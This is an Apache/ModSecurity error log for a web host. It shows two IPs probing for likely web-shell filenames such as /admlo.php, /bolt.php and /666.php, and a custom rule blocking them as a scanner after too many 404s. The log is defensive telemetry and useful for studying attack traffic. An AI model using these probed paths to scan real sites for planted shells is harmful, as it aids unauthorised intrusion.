[Thu Apr 23 21:32:22.263915 2026] [:error] [pid 42972:tid 43033] [client 20.251.223.35:39431] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofZsOAb-3sOknsk4dAdwAAAFE"]
[Thu Apr 23 21:32:22.928064 2026] [:error] [pid 65000:tid 65047] [client 20.251.223.35:39925] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofZr6vRb9j6psK2ZaPhgAAAg4"]
[Thu Apr 23 21:32:23.492316 2026] [:error] [pid 42971:tid 43006] [client 20.251.223.35:50955] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofZzEP2_5RswrH8bEsiwAAABQ"]
[Thu Apr 23 21:32:24.076152 2026] [:error] [pid 42972:tid 43024] [client 20.251.223.35:28897] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofaMOAb-3sOknsk4dAfAAAAEg"]
[Thu Apr 23 21:32:24.782500 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:51445] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofaL6vRb9j6psK2ZaPiwAAAhg"]
[Thu Apr 23 21:32:25.743402 2026] [:error] [pid 59700:tid 59725] [client 20.251.223.35:51007] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofaZXyGZJFeAIDWtkrXgAAAVc"]
[Thu Apr 23 21:32:27.801477 2026] [:error] [pid 43083:tid 43095] [client 20.251.223.35:59733] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofazC5hrvNXosL83J6SwAAAMo"]
[Thu Apr 23 21:32:29.021876 2026] [:error] [pid 65000:tid 65047] [client 20.251.223.35:39931] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofbb6vRb9j6psK2ZaPlAAAAg4"]
[Thu Apr 23 21:32:30.277105 2026] [:error] [pid 59700:tid 59723] [client 20.251.223.35:50979] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofbpXyGZJFeAIDWtkrZQAAAVU"]
[Thu Apr 23 21:32:32.290880 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:50959] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofcL6vRb9j6psK2ZaPnQAAAgQ"]
[Thu Apr 23 21:32:33.543092 2026] [:error] [pid 43083:tid 43097] [client 20.251.223.35:43116] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofcTC5hrvNXosL83J6VAAAAMw"]
[Thu Apr 23 21:32:34.169504 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:29529] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofcr6vRb9j6psK2ZaPpgAAAhY"]
[Thu Apr 23 21:32:34.696426 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:51415] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofcr6vRb9j6psK2ZaPqQAAAhM"]
[Thu Apr 23 21:32:35.236648 2026] [:error] [pid 64998:tid 65008] [client 20.251.223.35:29534] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofc4V5EysYcTLjmwiC7gAAAcY"]
[Thu Apr 23 21:32:35.809323 2026] [:error] [pid 64998:tid 65025] [client 20.251.223.35:49034] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofc4V5EysYcTLjmwiC7wAAAdc"]
[Thu Apr 23 21:32:36.397793 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:43101] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofdMOAb-3sOknsk4dAigAAAFc"]
[Thu Apr 23 21:32:36.958215 2026] [:error] [pid 42971:tid 42999] [client 20.251.223.35:50949] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofdDEP2_5RswrH8bEsjQAAAA0"]
[Thu Apr 23 21:32:37.498444 2026] [:error] [pid 42972:tid 43028] [client 20.251.223.35:29546] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofdcOAb-3sOknsk4dAjgAAAEw"]
[Thu Apr 23 21:32:38.144136 2026] [:error] [pid 59700:tid 59717] [client 20.251.223.35:51402] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofdpXyGZJFeAIDWtkrdQAAAU8"]
[Thu Apr 23 21:32:38.764243 2026] [:error] [pid 42972:tid 43026] [client 20.251.223.35:51403] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofdsOAb-3sOknsk4dAkQAAAEo"]
[Thu Apr 23 21:32:39.402677 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:51005] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofd76vRb9j6psK2ZaPsgAAAhY"]
[Thu Apr 23 21:32:40.073226 2026] [:error] [pid 64967:tid 64969] [client 20.251.223.35:51395] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofeIAV4GfOOdX8Qzp2rwAAAYA"]
[Thu Apr 23 21:32:40.740803 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:43111] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofeIV5EysYcTLjmwiC9QAAAcg"]
[Thu Apr 23 21:32:41.408399 2026] [:error] [pid 65000:tid 65030] [client 20.251.223.35:32549] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofeb6vRb9j6psK2ZaPswAAAgE"]
[Thu Apr 23 21:32:42.250532 2026] [:error] [pid 65000:tid 65053] [client 20.251.223.35:39879] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofer6vRb9j6psK2ZaPuAAAAhQ"]
[Thu Apr 23 21:32:43.162154 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:50948] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofe76vRb9j6psK2ZaPugAAAgQ"]
[Thu Apr 23 21:32:43.927744 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:5673] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofe8OAb-3sOknsk4dAmgAAAFc"]
[Thu Apr 23 21:32:44.662516 2026] [:error] [pid 64998:tid 65025] [client 20.251.223.35:5643] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeoffIV5EysYcTLjmwiC_gAAAdc"]
[Thu Apr 23 21:32:45.683973 2026] [:error] [pid 43083:tid 43093] [client 20.251.223.35:43077] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoffTC5hrvNXosL83J6XwAAAMg"]
[Thu Apr 23 21:32:46.258665 2026] [:error] [pid 59700:tid 59726] [client 20.251.223.35:29524] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoffpXyGZJFeAIDWtkrfQAAAVg"]
[Thu Apr 23 21:32:47.698029 2026] [:error] [pid 64967:tid 64982] [client 20.251.223.35:39451] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoff4AV4GfOOdX8Qzp2uAAAAY0"]
[Thu Apr 23 21:32:48.434770 2026] [:error] [pid 25635:tid 25641] [client 20.251.223.35:51447] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeofgMRxv6UsgRGKB3I04wAAAQI"]
[Thu Apr 23 21:32:49.073443 2026] [:error] [pid 64998:tid 65002] [client 20.251.223.35:39930] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofgYV5EysYcTLjmwiDCgAAAcA"]
[Thu Apr 23 21:32:49.825944 2026] [:error] [pid 43083:tid 43103] [client 20.251.223.35:5657] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofgTC5hrvNXosL83J6ZQAAANI"]
[Thu Apr 23 21:32:50.442323 2026] [:error] [pid 65000:tid 65047] [client 20.251.223.35:5647] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofgr6vRb9j6psK2ZaPwQAAAg4"]
[Thu Apr 23 21:32:51.010729 2026] [:error] [pid 64998:tid 65017] [client 20.251.223.35:29541] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofg4V5EysYcTLjmwiDDAAAAc8"]
[Thu Apr 23 21:32:51.705618 2026] [:error] [pid 64967:tid 64977] [client 20.251.223.35:39478] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofg4AV4GfOOdX8Qzp2uwAAAYg"]
[Thu Apr 23 21:32:52.355076 2026] [:error] [pid 42972:tid 43034] [client 20.251.223.35:50996] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofhMOAb-3sOknsk4dApgAAAFI"]
[Thu Apr 23 21:32:53.032643 2026] [:error] [pid 42972:tid 43028] [client 20.251.223.35:5684] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofhcOAb-3sOknsk4dAqAAAAEw"]
[Thu Apr 23 21:32:53.851813 2026] [:error] [pid 64998:tid 65011] [client 20.251.223.35:50954] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofhYV5EysYcTLjmwiDFwAAAck"]
[Thu Apr 23 21:39:28.794114 2026] [proxy_fcgi:error] [pid 42973:tid 43046] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:29.080977 2026] [proxy_fcgi:error] [pid 42973:tid 43058] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:29.368515 2026] [proxy_fcgi:error] [pid 42973:tid 43066] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:29.641467 2026] [proxy_fcgi:error] [pid 42973:tid 43054] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:29.915487 2026] [proxy_fcgi:error] [pid 42973:tid 43047] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:30.189871 2026] [proxy_fcgi:error] [pid 42973:tid 43056] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:30.738825 2026] [proxy_fcgi:error] [pid 42973:tid 43048] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:31.015761 2026] [proxy_fcgi:error] [pid 42973:tid 43051] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:31.297705 2026] [proxy_fcgi:error] [pid 42973:tid 43043] [client 4.232.90.249:64591] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:39:31.615697 2026] [:error] [pid 42973:tid 43065] [client 4.232.90.249:64591] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeohE26I0QqmmmLTHE0gdAAAAJY"]
[Thu Apr 23 21:39:32.447754 2026] [:error] [pid 64998:tid 65019] [client 4.232.90.249:64595] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeohFIV5EysYcTLjmwiGOwAAAdE"]
[Thu Apr 23 21:39:33.044289 2026] [:error] [pid 65000:tid 65055] [client 4.232.90.249:45909] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeohFb6vRb9j6psK2ZaU5gAAAhY"]
[Thu Apr 23 21:39:33.704685 2026] [:error] [pid 65000:tid 65046] [client 4.232.90.249:53881] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeohFb6vRb9j6psK2ZaU6gAAAg0"]
[Thu Apr 23 21:39:34.580231 2026] [:error] [pid 65000:tid 65038] [client 4.232.90.249:33681] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeohFr6vRb9j6psK2ZaU7gAAAgU"]
[Thu Apr 23 21:39:35.569105 2026] [:error] [pid 65000:tid 65055] [client 4.232.90.249:5069] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeohF76vRb9j6psK2ZaU9QAAAhY"]
[Thu Apr 23 21:39:36.269962 2026] [:error] [pid 42973:tid 43058] [client 4.232.90.249:33704] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeohGG6I0QqmmmLTHE0geQAAAI8"]
[Thu Apr 23 21:39:37.213609 2026] [:error] [pid 42973:tid 43053] [client 4.232.90.249:53850] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeohGW6I0QqmmmLTHE0gfAAAAIo"]
[Thu Apr 23 21:39:38.440512 2026] [:error] [pid 65000:tid 65043] [client 4.232.90.249:45916] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeohGr6vRb9j6psK2ZaU_gAAAgo"]
[Thu Apr 23 21:39:39.333945 2026] [:error] [pid 65000:tid 65055] [client 4.232.90.249:42463] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeohG76vRb9j6psK2ZaVAQAAAhY"]
[Thu Apr 23 21:39:40.012103 2026] [:error] [pid 42972:tid 43031] [client 4.232.90.249:57733] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeohHMOAb-3sOknsk4dDbwAAAE8"]
[Thu Apr 23 21:39:40.812193 2026] [:error] [pid 65000:tid 65030] [client 4.232.90.249:50329] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeohHL6vRb9j6psK2ZaVNAAAAgE"]
[Thu Apr 23 21:39:41.987101 2026] [:error] [pid 65000:tid 65037] [client 4.232.90.249:4427] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeohHb6vRb9j6psK2ZaVUwAAAgQ"]
[Thu Apr 23 21:39:42.900179 2026] [:error] [pid 59700:tid 59702] [client 4.232.90.249:45942] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeohHpXyGZJFeAIDWtksmgAAAUA"]
